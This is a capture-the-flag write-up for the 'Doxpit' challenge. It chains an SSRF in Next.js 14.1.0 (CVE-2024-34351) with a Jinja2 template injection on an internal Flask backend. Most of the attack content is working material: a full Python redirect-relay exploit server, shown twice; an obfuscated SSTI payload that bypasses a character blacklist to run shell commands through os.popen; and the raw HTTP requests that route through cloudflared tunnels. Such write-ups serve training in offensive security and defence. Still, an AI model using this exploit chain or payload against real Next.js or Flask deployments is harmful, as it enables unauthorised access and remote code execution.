Challenge Doxpit
This challenge consists of a vulnerable public-facing Next.js application and an isolated internal Flask backend and the solution consists of chaining an SSRF attack (CVE-2024-34351) to register a user and then using it again to deliver an obfuscated SSTI payload, bypassing a character blacklist, to retrieve the flag.
Analyzing the source code begins with the package.json file in the front-end directory, which reveals that the application uses Next.js version 14.1.0.
{
"name": "doxpit",
"version": "1.0.0",
"author": "lean",
"scripts": {
"dev": "next dev -p 1337",
"build": "next build",
"start": "next start -p 1337",
"lint": "next lint"
},
"dependencies": {
"blockies-ts": "1.0.0",
"bootstrap": "5.3.3",
"next": "14.1.0",
"react": "18",
"react-dom": "18"
},
"devDependencies": {
"@types/node": "20",
"@types/react": "18",
"@types/react-dom": "18",
"eslint": "8",
"eslint-config-next": "14.2.3",
"typescript": "5"
}
}
This specific version of Next.js is known to be vulnerable to CVE-2024-34351, a vulnerability related to server actions. An inspection of the serverActions.tsx file confirms the presence of a server action that redirects to a relative path.
"use server";
import { redirect } from "next/navigation";
export async function doRedirect() {
redirect("/error");
}
The combination of the vulnerable Next.js version and the relative redirect facilitates an SSRF vulnerability.
Moving to the internal Flask backend, a review of the routing configuration in routes.py exposes a potential SSTI vulnerability in the /home endpoint.
@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
directory = request.args.get("directory")
if not directory:
dirs = os.listdir(os.getcwd())
return render_template("index.html", title="home", dirs=dirs)
if any(char in directory for char in invalid_chars):
return render_template("error.html", title="error", error="invalid directory"), 400
try:
with open("./application/templates/scan.html", "r") as file:
template_content = file.read()
results = scan_directory(directory)
template_content = template_content.replace("{{ results.date }}", results["date"])
template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
return render_template_string(template_content, results=results)
The /home route dynamically renders content from a file using render_template_string, substituting parameters like results["scanned_directory"] into the template. However, an analysis of the general.py utility file shows that user input is subject to a blacklist filter.
import os
from faker import Faker
fake = Faker()
generate = lambda x: os.urandom(x).hex()
invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"]
def generate_user():
return fake.user_name()
The blacklist blocks several common characters used in Jinja2 SSTI payloads, such as {{, }}, ., _, [, ], \, and x. Direct access to the internal service is restricted, which dictates that both vulnerabilities must be chained to successfully exploit the application. A crafted SSTI payload is needed to bypass the blacklist. Based on a standard payload, an obfuscated version can be constructed using Jinja2 format strings and the lipsum object to avoid the forbidden characters.
The original payload looks like this:
{% print(lipsum.__globals__['os'].popen('id').read()) %}
By substituting the blocked characters with their character codes and utilizing string concatenation, the payload is adapted to bypass the restrictions:
'{% print(lipsum|attr("%c%c"|format(95,95) ~ "globals" ~ '
'"%c%c"|format(95,95))|attr("%c%c"|format(95,95) ~ '
'"getitem" ~ "%c%c"|format(95,95))("os")|attr("popen")'
'("cat /flag*")|attr("read")()) %}'
To execute the attack, a two-stage relay server is created in Python. The script handles both the SSRF registration phase and the subsequent SSTI exploitation phase by dynamically redirecting incoming requests to the internal Flask endpoints.
#!/usr/bin/env python3
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import quote
USER = "fu11shoot"
PASS = "fu11shoot123"
TOKEN = ""
SSTI_PAYLOAD = (
'{% print(lipsum|attr("%c%c"|format(95,95) ~ "globals" ~ '
'"%c%c"|format(95,95))|attr("%c%c"|format(95,95) ~ '
'"getitem" ~ "%c%c"|format(95,95))("os")|attr("popen")'
'("cat /flag*")|attr("read")()) %}'
)
class Register(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Type", "text/x-component")
self.end_headers()
def do_GET(self):
url_register = (
f"http://127.0.0.1:3000/register"
f"?username={quote(USER)}"
f"&password={quote(PASS)}"
)
print("Redirecting to the internal register")
self.send_response(302)
self.send_header("Location", url_register)
self.end_headers()
class Exploit(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/x-component")
self.end_headers()
def do_GET(self):
url_home = (
f"http://127.0.0.1:3000/home"
f"?token={TOKEN}"
f"&directory={quote(SSTI_PAYLOAD)}"
)
print("Redirecting to the exploit payload")
self.send_response(302)
self.send_header("Location", url_home)
self.end_headers()
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="DoxPit Exploitation Script")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"--register", action="store_true",
help="Start the SSRF Registration server")
group.add_argument(
"--exploit", action="store_true",
help="Start the SSTI Exploit server")
args = parser.parse_args()
port = 9999
if args.register:
print(f"[*] Starting SSRF Register server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Register)
server.serve_forever()
elif args.exploit:
print(f"[*] Starting SSTI Exploit server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Exploit)
server.serve_forever()
The exploitation process begins by starting the relay server in registration mode on port 9999.
$ python3 exploit.py --register
[*] Starting SSRF Register server on port 9999...
The local server is then exposed to the internet using cloudflared, providing a public URL that the vulnerable Next.js server action can interact with.
$ cloudflared tunnel --url http://127.0.0.1:9999
2026-06-30T18:01:50Z INF Thank you for trying Cloudflare Tunnel. Doing so, without a Cloudflare account, is a quick way to experiment and try it out. However, be aware that these account-less Tunnels have no uptime guarantee, are subject to the Cloudflare Online Services Terms of Use (https://www.cloudflare.com/website-terms/), and Cloudflare reserves the right to investigate your use of Tunnels for violations of such terms. If you intend to use Tunnels in production you should use a pre-created named tunnel by following: https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
2026-06-30T18:01:50Z INF Requesting new quick Tunnel on trycloudflare.com...
2026-06-30T18:01:54Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:01:54Z INF | Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |
2026-06-30T18:01:54Z INF | https://water-importantly-transparent-abc.trycloudflare.com |
2026-06-30T18:01:54Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:01:54Z INF Cannot determine default configuration path. No file [config.yml config.yaml] in [~/.cloudflared ~/.cloudflare-warp ~/cloudflare-warp /etc/cloudflared /usr/local/etc/cloudflared]
2026-06-30T18:01:54Z INF Version 2026.6.1 (Checksum c3a9a18354a4226bc18e65929f27cd19b86aacc1ba724bd646ea8396e5c4cb98)
2026-06-30T18:01:54Z INF GOOS: linux, GOVersion: go1.26.4-X:nodwarf5, GoArch: amd64
2026-06-30T18:01:54Z INF Settings: map[ha-connections:1 protocol:quic url:http://127.0.0.1:9999]
...
An HTTP POST request is sent to the target Next.js application, specifying the cloudflared tunnel as the host to trigger the SSRF and hit the registration endpoint on the internal Flask app.
POST / HTTP/1.1
Host: water-importantly-transparent-abc.trycloudflare.com
Next-Action: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: text/plain:charset=UTF-8
Accept: text/x-component
Content-Length: 2
[]
The Flask backend processes the registration and returns a response containing a valid authentication token.
...
<span>User created with token: 1301052e09541cc6d6fe17c2541b2b95</span>
...
With the authentication token acquired, the Python relay script is modified to include the new token, allowing it to authenticate against the /home endpoint and deliver the SSTI payload.
#!/usr/bin/env python3
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import quote
USER = "fu11shoot"
PASS = "fu11shoot123"
TOKEN = "1301052e09541cc6d6fe17c2541b2b95"
SSTI_PAYLOAD = (
'{% print(lipsum|attr("%c%c"|format(95,95) ~ "globals" ~ '
'"%c%c"|format(95,95))|attr("%c%c"|format(95,95) ~ '
'"getitem" ~ "%c%c"|format(95,95))("os")|attr("popen")'
'("cat /flag*")|attr("read")()) %}'
)
class Register(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Type", "text/x-component")
self.end_headers()
def do_GET(self):
url_register = (
f"http://127.0.0.1:3000/register"
f"?username={quote(USER)}"
f"&password={quote(PASS)}"
)
print("Redirecting to the internal register")
self.send_response(302)
self.send_header("Location", url_register)
self.end_headers()
class Exploit(BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/x-component")
self.end_headers()
def do_GET(self):
url_home = (
f"http://127.0.0.1:3000/home"
f"?token={TOKEN}"
f"&directory={quote(SSTI_PAYLOAD)}"
)
print("Redirecting to the exploit payload")
self.send_response(302)
self.send_header("Location", url_home)
self.end_headers()
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="DoxPit Exploitation Script")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"--register", action="store_true",
help="Start the SSRF Registration server")
group.add_argument(
"--exploit", action="store_true",
help="Start the SSTI Exploit server")
args = parser.parse_args()
port = 9999
if args.register:
print(f"[*] Starting SSRF Register server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Register)
server.serve_forever()
elif args.exploit:
print(f"[*] Starting SSTI Exploit server on port {port}...")
server = HTTPServer(("0.0.0.0", port), Exploit)
server.serve_forever()
The relay server is restarted, this time in exploit mode.
$ python3 exploit.py --exploit
[*] Starting SSTI Exploit server on port 9999...
The server is once again exposed using cloudflared.
$ cloudflared tunnel --url http://127.0.0.1:9999
2026-06-30T18:32:25Z INF Thank you for trying Cloudflare Tunnel. Doing so, without a Cloudflare account, is a quick way to experiment and try it out. However, be aware that these account-less Tunnels have no uptime guarantee, are subject to the Cloudflare Online Services Terms of Use (https://www.cloudflare.com/website-terms/), and Cloudflare reserves the right to investigate your use of Tunnels for violations of such terms. If you intend to use Tunnels in production you should use a pre-created named tunnel by following: https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
2026-06-30T18:32:25Z INF Requesting new quick Tunnel on trycloudflare.com...
2026-06-30T18:32:28Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:32:28Z INF | Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |
2026-06-30T18:32:28Z INF | https://thesis-employ-images-root.trycloudflare.com |
2026-06-30T18:32:28Z INF +--------------------------------------------------------------------------------------------+
2026-06-30T18:32:28Z INF Cannot determine default configuration path. No file [config.yml config.yaml] in [~/.cloudflared ~/.cloudflare-warp ~/cloudflare-warp /etc/cloudflared /usr/local/etc/cloudflared]
2026-06-30T18:32:28Z INF Version 2026.6.1 (Checksum c3a9a18354a4226bc18e65929f27cd19b86aacc1ba724bd646ea8396e5c4cb98)
2026-06-30T18:32:28Z INF GOOS: linux, GOVersion: go1.26.4-X:nodwarf5, GoArch: amd64
2026-06-30T18:32:28Z INF Settings: map[ha-connections:1 protocol:quic url:http://127.0.0.1:9999]
...
A final HTTP request is sent through the Next.js application, routing through the new cloudflared tunnel to trigger the SSTI payload on the internal Flask service.
POST / HTTP/1.1
Host: thesis-employ-images-root.trycloudflare.com
Next-Action: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: text/plain:charset=UTF-8
Accept: text/x-component
Content-Length: 2
[]
The Flask application processes the malicious payload, executes the command to read the flag file, and returns the contents within the response page.
...
<p><strong>Scanned Directory:</strong> HTB{FLAG}</p>
...
The successful execution of the command confirms that the blacklist bypass works as intended, ultimately revealing the flag and concluding the challenge.